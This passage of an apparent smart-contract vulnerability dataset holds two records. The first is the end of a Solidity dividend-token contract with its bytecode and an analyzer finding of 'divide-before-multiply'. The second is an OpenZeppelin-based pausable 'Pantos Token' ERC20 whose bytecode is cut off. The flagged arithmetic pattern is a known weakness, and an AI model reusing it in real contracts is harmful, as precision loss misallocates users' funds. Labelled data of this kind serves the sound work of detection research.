SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600a60ff16611738565b6064611773565b965061064961064288602160ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600a60ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384600460ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584600460ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600a60ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85600460ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a72305820fe461e9af682788bc694815b95511ab75cb00a5faef7bda7b9196501d38a5f6e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,201
0x536381a8628dbcc8c70ac9a30a7258442eab4c92
pragma solidity ^0.4.24; // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } // File: contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/examples/PantosToken.sol /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract PantosToken is PausableToken { string public constant name = "Pantos Token"; string public constant symbol = "PAN"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce567146102285780633f4ba83a146102535780635c975abb1461026a578063661884631461027f57806370a08231146102a3578063715018a6146102c45780638456cb59146102d95780638da5cb5b146102ee57806395d89b411461031f578063a9059cbb14610334578063d73dd62314610358578063dd62ed3e1461037c578063f2fde38b146103a3575b600080fd5b34801561010c57600080fd5b506101156103c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a03600435166024356103fb565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610426565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561042c565b34801561021f57600080fd5b506101d7610459565b34801561023457600080fd5b5061023d610465565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b5061026861046a565b005b34801561027657600080fd5b506101ae6104e2565b34801561028b57600080fd5b506101ae600160a060020a03600435166024356104f2565b3480156102af57600080fd5b506101d7600160a060020a0360043516610516565b3480156102d057600080fd5b50610268610531565b3480156102e557600080fd5b5061026861059f565b3480156102fa57600080fd5b5061030361061c565b60408051600160a060020a039092168252519081900360200190f35b34801561032b57600080fd5b5061011561062b565b34801561034057600080fd5b506101ae600160a060020a0360043516602435610662565b34801561036457600080fd5b506101ae600160a060020a0360043516602435610686565b34801561038857600080fd5b506101d7600160a060020a03600435811690602435166106aa565b3480156103af57600080fd5b50610268600160a060020a03600435166106d5565b60408051808201909152600c81527f50616e746f7320546f6b656e0000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561041557600080fd5b61041f83836106f8565b9392505050565b60015490565b60035460009060a060020a900460ff161561044657600080fd5b61045184848461075e565b949350505050565b67016345785d8a000081565b600881565b600354600160a060020a0316331461048157600080fd5b60035460a060020a900460ff16151561049957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561050c57600080fd5b61041f83836108d3565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461054857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146105b657600080fd5b60035460a060020a900460ff16156105cd57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f50414e0000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561067c57600080fd5b61041f83836109c2565b60035460009060a060020a900460ff16156106a057600080fd5b61041f8383610aa1565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146106ec57600080fd5b6106f581610b3a565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a03831660009081526020819052604081205482111561078357600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107b357600080fd5b600160a060020a03831615156107c857600080fd5b600160a060020a0384166000908152602081905260409020546107f1908363ffffffff610bb816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610826908363ffffffff610bca16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610868908363ffffffff610bb816565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831061092757336000908152600260209081526040808320600160a060020a038816845290915281205561095c565b610937818463ffffffff610bb816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5b